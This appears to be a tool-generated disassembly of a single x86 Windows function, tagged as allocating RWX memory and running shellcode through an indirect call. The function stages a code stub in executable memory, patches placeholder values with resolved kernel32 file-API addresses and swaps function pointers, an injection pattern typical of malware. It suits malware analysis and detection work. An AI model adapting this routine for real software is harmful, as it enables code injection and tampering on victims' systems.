Function at 0x1000b5ff
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x3c
cmp dword [esp + 0x40], 0
push ebx
push ebp
push esi
push edi
je 0x1000b88d
call fcn.1000b09e
mov ebp, fcn.1000b32d
mov edi, 0x1000b254
sub ebp, edi
push 0x40
push 0x3000
mov esi, 0x9cdc0000
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
cmp ebx, esi
je 0x1000b68c
push str.gdi32.dll
call fcn.1000b490
mov dword [esp], 0x8000
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
call ebx
push 0x8000
push 0
push esi
call ebx
push 0x40
push 0x3000
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
cmp ebx, esi
je 0x1000b68c
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x1000b8d5
push ebp
push edi
push ebx
call fcn.100176d0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push str.kernel32.dll
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push 0x100316f0
push esi
call fcn.1000b0db
push 0x10031340
push esi
mov dword [esp + 0x20], eax
call fcn.1000b0db
push 0x1003174c
push esi
mov dword [esp + 0x24], eax
call fcn.1000b0db
push 0x10031740
push esi
mov dword [esp + 0x28], eax
call fcn.1000b0db
push str._lopen
push esi
mov dword [esp + 0x2c], eax
call fcn.1000b0db
push str._llseek
push esi
mov dword [esp + 0x30], eax
call fcn.1000b0db
push str._lwrite
push esi
mov dword [esp + 0x34], eax
call fcn.1000b0db
push str._lclose
push esi
mov dword [esp + 0x38], eax
call fcn.1000b0db
push 0x10031714
push esi
mov dword [esp + 0x3c], eax
call fcn.1000b0db
mov dword [esp + 0x38], eax
mov eax, 0x1000b254
sub eax, edi
mov ecx, 0x1000b327
add eax, ebx
sub ecx, edi
mov dword [esp + 0x50], eax
mov eax, 0x1000b2c1
sub eax, edi
add ebp, 0xfffffffc
add eax, ebx
add ecx, ebx
mov dword [esp + 0x10], eax
xor eax, eax
test ebp, ebp
jbe 0x1000b834
mov edi, dword [eax + ebx]
lea edx, [eax + ebx]
cmp edi, 0x11111111
jne 0x1000b77e
mov edi, dword [esp + 0x14]
mov dword [edx], edi
jmp 0x1000b82b
cmp edi, 0x22222222
jne 0x1000b78c
mov edi, dword [esp + 0x18]
jmp 0x1000b777
cmp edi, 0x33333333
jne 0x1000b79a
mov edi, dword [esp + 0x1c]
jmp 0x1000b777
cmp edi, 0x44441111
jne 0x1000b7a8
mov edi, dword [esp + 0x20]
jmp 0x1000b777
cmp edi, 0x44442222
jne 0x1000b7b6
mov edi, dword [esp + 0x24]
jmp 0x1000b777
cmp edi, 0x44443333
jne 0x1000b7c4
mov edi, dword [esp + 0x28]
jmp 0x1000b777
cmp edi, 0x44444444
jne 0x1000b7d2
mov edi, dword [esp + 0x2c]
jmp 0x1000b777
cmp edi, 0x44445555
jne 0x1000b7e0
mov edi, dword [esp + 0x30]
jmp 0x1000b777
cmp edi, 0x44446666
jne 0x1000b7ee
mov edi, dword [esp + 0x34]
jmp 0x1000b777
cmp edi, 0x44447777
jne 0x1000b7ff
mov edi, dword [esp + 0x38]
jmp 0x1000b777
cmp edi, 0x66661111
jne 0x1000b810
mov edi, dword [esp + 0x50]
jmp 0x1000b777
cmp edi, 0x66662222
jne 0x1000b821
mov edi, dword [esp + 0x10]
jmp 0x1000b777
cmp edi, 0x66663333
jne 0x1000b82b
mov dword [edx], ecx
inc eax
cmp eax, ebp
jb 0x1000b765
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, 0x100316f0
push ebp
push esi
call edi
mov ebx, 0x10031340
mov dword [0x10036640], eax
push ebx
push esi
call edi
mov dword [0x10036670], eax
mov eax, dword [esp + 0x50]
mov dword [0x10036644], eax
mov eax, dword [esp + 0x10]
push ebp
push 0x10036648
mov dword [0x10036674], eax
call fcn.10017b20
push ebx
push 0x10036678
call fcn.10017b20
push str.gdi32.dll
call fcn.1000b32d
add esp, 0x14
jmp 0x1000b8d2
call fcn.1000b09e
mov eax, 0x10036640
mov ecx, dword [eax]
test ecx, ecx
je 0x1000b8af
mov edx, dword [eax + 4]
mov dword [eax], edx
mov dword [eax + 4], ecx
add eax, 0x30
cmp eax, 0x10036730
jl 0x1000b897
push str.gdi32.dll
call fcn.1000b32d
mov dword [esp], 0x8000
push 0
push 0x9cdc0000
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.1000b0b1
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret